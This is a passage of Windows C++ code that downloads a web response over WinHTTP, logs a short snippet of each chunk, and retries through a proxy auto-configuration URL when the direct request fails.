                    isRequestSuccessful = WinHttpReceiveResponse(httpRequest, NULL);
                    if (isRequestSuccessful)
                    {
                        printf("response received\n");
                        do
                        {
                            // check if there is still more html available to download
                            lenAvailableHtmlToDownload = 0;
                            if (WinHttpQueryDataAvailable(httpRequest, &lenAvailableHtmlToDownload))
                            {
                                strDownloadedHtmlBuffer = new char[lenAvailableHtmlToDownload + 1];
                                if (strDownloadedHtmlBuffer)
                                {
                                    // clear out (with 0s) the previously downloaded html
                                    ZeroMemory(strDownloadedHtmlBuffer, lenAvailableHtmlToDownload + 1);
                                    // download html to the buffer
                                    if (WinHttpReadData(httpRequest, (LPVOID)strDownloadedHtmlBuffer, lenAvailableHtmlToDownload, &lenHtmlActuallyDownloaded))
                                    {
                                        printf("%4i bytes downloaded", lenHtmlActuallyDownloaded);
                                        if (lenHtmlActuallyDownloaded > 0)
                                        {
                                            if (lenHtmlActuallyDownloaded <= 10)
                                            {
                                                printf(",'%s'\n", strDownloadedHtmlBuffer);
                                            }
                                            else
                                            {
                                                const int lenSnippet = 25;
                                                char strFront[lenSnippet + 1];
                                                char strBack[lenSnippet + 1];
                                                strncpy_s(strFront, strDownloadedHtmlBuffer, lenSnippet);
                                                for (int i = 0; i < lenSnippet; i++)
                                                    if (strFront[i] == '\r' || strFront[i] == '\n')
                                                        strFront[i] = ' ';
                                                strFront[lenSnippet] = 0;
                                                strncpy_s(strBack, strDownloadedHtmlBuffer + (strlen(strDownloadedHtmlBuffer) - lenSnippet), lenSnippet);
                                                for (int i = 0; i < lenSnippet; i++)
                                                    if (strBack[i] == '\r' || strBack[i] == '\n')
                                                        strBack[i] = ' ';
                                                strBack[lenSnippet] = 0;
                                                printf(",'%s ... %s'\n", strFront, strBack);
                                                //printf(",'%s'\n", strDownloadedHtmlBuffer);
                                            }
                                        }
                                        else
                                            printf(",nothing actually downloaded");
                                    }
                                    else
                                    {
                                        printf("Error %u in WinHttpReadData.\n", GetLastError());
                                        lenAvailableHtmlToDownload = 0;
                                    }
                                    delete[] strDownloadedHtmlBuffer;
                                }
                                else
                                {
                                    printf("Out of memory\n");
                                    lenAvailableHtmlToDownload = 0;
                                }
                            }
                            else
                            {
                                printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());
                                lenAvailableHtmlToDownload = 0;
                            }

                        } while (lenAvailableHtmlToDownload > 0);
                    }
                    else
                        wprintf(L"Http Received failed '%s', '%s', '%d', '%s', '%s', '%d'\n", httpUserAgent, httpHost, httpPort, httpMethod, httpPath, GetLastError());
                }
                else {
                    wprintf(L"Http Send failed '%s', '%s', '%d', '%s', '%s', '%u'\n", httpUserAgent, httpHost, httpPort, httpMethod, httpPath, GetLastError());
                    if (httpRequest) WinHttpCloseHandle(httpRequest);
                    if (httpConnection) WinHttpCloseHandle(httpConnection);
                    if (httpSession) WinHttpCloseHandle(httpSession);
                    // send failed, try with a proxy
                    WINHTTP_AUTOPROXY_OPTIONS  AutoProxyOptions;
                    WINHTTP_PROXY_INFO         ProxyInfo;
                    DWORD                      cbProxyInfoSize = sizeof(ProxyInfo);

                    ZeroMemory(&AutoProxyOptions, sizeof(AutoProxyOptions));
                    ZeroMemory(&ProxyInfo, sizeof(ProxyInfo));
                    httpSession = WinHttpOpen(httpUserAgentProxy, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
                    if (httpSession)
                    {
                        printf("proxy re-opened session\n");
                        httpConnection = WinHttpConnect(httpSession, httpHost, httpPort, 0);
                        if (httpConnection)
                        {
                            printf("proxy re-opened connection\n");
                            httpRequest = WinHttpOpenRequest(httpConnection, httpMethod, httpPath, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, isHttpsEnabled);
                            if (httpRequest)
                            {
                                printf("proxy re-opened request\n");
                                // discover the proxy auto config url
                                AutoProxyOptions.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL;
                                //AutoProxyOptions.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A;
                                AutoProxyOptions.lpszAutoConfigUrl = L"http://pac.somebody.com/proxy.pac";
                                AutoProxyOptions.fAutoLogonIfChallenged = TRUE;
                                isProxyFound = WinHttpGetProxyForUrl(httpSession, httpFullUrl, &AutoProxyOptions, &ProxyInfo);
                                if (isProxyFound)
                                {
                                    printf("proxy config url\n");
                                    isProxySet = WinHttpSetOption(httpRequest, WINHTTP_OPTION_PROXY, &ProxyInfo, cbProxyInfoSize);
                                    if (isProxySet)
                                    {
                                        printf("proxy set config url\n");
                                        isRequestSuccessful = WinHttpSendRequest(httpRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
                                        if (isRequestSuccessful)
                                        {
                                            printf("proxy sent request\n");
                                            // receive response from host
                                            isRequestSuccessful = WinHttpReceiveResponse(httpRequest, NULL);
                                            if (isRequestSuccessful)
                                            {
                                                printf("response received via proxy\n");
                                                do
                                                {
                                                    // check if there is still more html available to download
                                                    lenAvailableHtmlToDownload = 0;
                                                    if (WinHttpQueryDataAvailable(httpRequest, &lenAvailableHtmlToDownload))
                                                    {
                                                        strDownloadedHtmlBuffer = new char[lenAvailableHtmlToDownload + 1];
                                                        if (strDownloadedHtmlBuffer)
                                                        {
                                                            // clear out (with 0s) the previously downloaded html
                                                            ZeroMemory(strDownloadedHtmlBuffer, lenAvailableHtmlToDownload + 1);
                                                            // download html to the buffer
                                                            if (WinHttpReadData(httpRequest, (LPVOID)strDownloadedHtmlBuffer, lenAvailableHtmlToDownload, &lenHtmlActuallyDownloaded))
                                                            {
                                                                printf("%4i bytes downloaded", lenHtmlActuallyDownloaded);
                                                                if (lenHtmlActuallyDownloaded > 0)
                                                                {
                                                                    if (lenHtmlActuallyDownloaded <= 10)
                                                                    {
                                                                        printf(",'%s'\n", strDownloadedHtmlBuffer);
                                                                    }
                                                                    else
                                                                    {
                                                                        const int lenSnippet = 25;
                                                                        char strFront[lenSnippet + 1];
                                                                        char strBack[lenSnippet + 1];
                                                                        strncpy_s(strFront, strDownloadedHtmlBuffer, lenSnippet);
                                                                        for (int i = 0; i < lenSnippet; i++)
                                                                            if (strFront[i] == '\r' || strFront[i] == '\n')
                                                                                strFront[i] = ' ';
                                                                        strFront[lenSnippet] = 0;
                                                                        strncpy_s(strBack, strDownloadedHtmlBuffer + (strlen(strDownloadedHtmlBuffer) - lenSnippet), lenSnippet);
                                                                        for (int i = 0; i < lenSnippet; i++)
                                                                            if (strBack[i] == '\r' || strBack[i] == '\n')
                                                                                strBack[i] = ' ';
                                                                        strBack[lenSnippet] = 0;
                                                                        printf(",'%s ... %s'\n", strFront, strBack);
                                                                        //printf(",'%s'\n", strDownloadedHtmlBuffer);
                                                                    }
                                                                }
                                                                else
                                                                    printf(",nothing actually downloaded");
                                                            }
                                                            else
                                                            {
                                                                printf("Error %u in WinHttpReadData.\n", GetLastError());
                                                                lenAvailableHtmlToDownload = 0;
                                                            }
                                                            delete[] strDownloadedHtmlBuffer;
                                                        }
                                                        else
                                                        {
                                                            printf("Out of memory\n");
                                                            lenAvailableHtmlToDownload = 0;
                                                        }
                                                    }
                                                    else
                                                    {
                                                        printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());
                                                        lenAvailableHtmlToDownload = 0;
                                                    }

                                                } while (lenAvailableHtmlToDownload > 0);
                                            }
                                            else
                                                wprintf(L"Http Proxy Received failed '%s', '%s', '%d', '%s', '%s', '%d'\n", httpUserAgent, httpHost, httpPort, httpMethod, httpPath, GetLastError());
                                        }
                                        else
                                            wprintf(L"Http Proxy Send failed '%s', '%s', '%d', '%s', '%s', '%u'\n", httpUserAgent, httpHost, httpPort, httpMethod, httpPath, GetLastError());
                                    }
                                    else
                                        wprintf(L"Http Proxy Set failed '%s', '%s', '%d', '%s', '%s'\n", httpUserAgent, httpHost, httpPort, httpMethod, httpPath);
                                }
                                else
                                    wprintf(L"Http Proxy Found failed '%s', '%s', '%d', '%s', '%s'\n", httpUserAgent, httpHost, httpPort, httpMethod, httpPath);
                            }
                            else
                                wprintf(L"Http Proxy Request open failed '%s', '%s', , '%d''%s', '%s'\n", httpUserAgent, httpHost, httpPort, httpMethod, httpPath);
                            if (httpConnection) WinHttpCloseHandle(httpConnection);
                        }
                        else
                            wprintf(L"Http Proxy Connection open failed '%s', '%s', '%d'\n", httpUserAgent, httpHost, httpPort);
                        if (httpSession) WinHttpCloseHandle(httpSession);
                    }
                    else
                        wprintf(L"Http Proxy Session open failed %s\n", httpUserAgent);\
                }
                if (httpRequest) WinHttpCloseHandle(httpRequest);
            }
            else
                wprintf(L"Http Request open failed '%s', '%s', , '%d''%s', '%s'\n", httpUserAgent, httpHost, httpPort, httpMethod, httpPath);
            if (httpConnection) WinHttpCloseHandle(httpConnection);
        }
        else
            wprintf(L"Http Connection open failed '%s', '%s', '%d'\n", httpUserAgent, httpHost, httpPort);
        if (httpSession) WinHttpCloseHandle(httpSession);
    }
    else
        wprintf(L"Http Session open failed %s\n", httpUserAgent);
}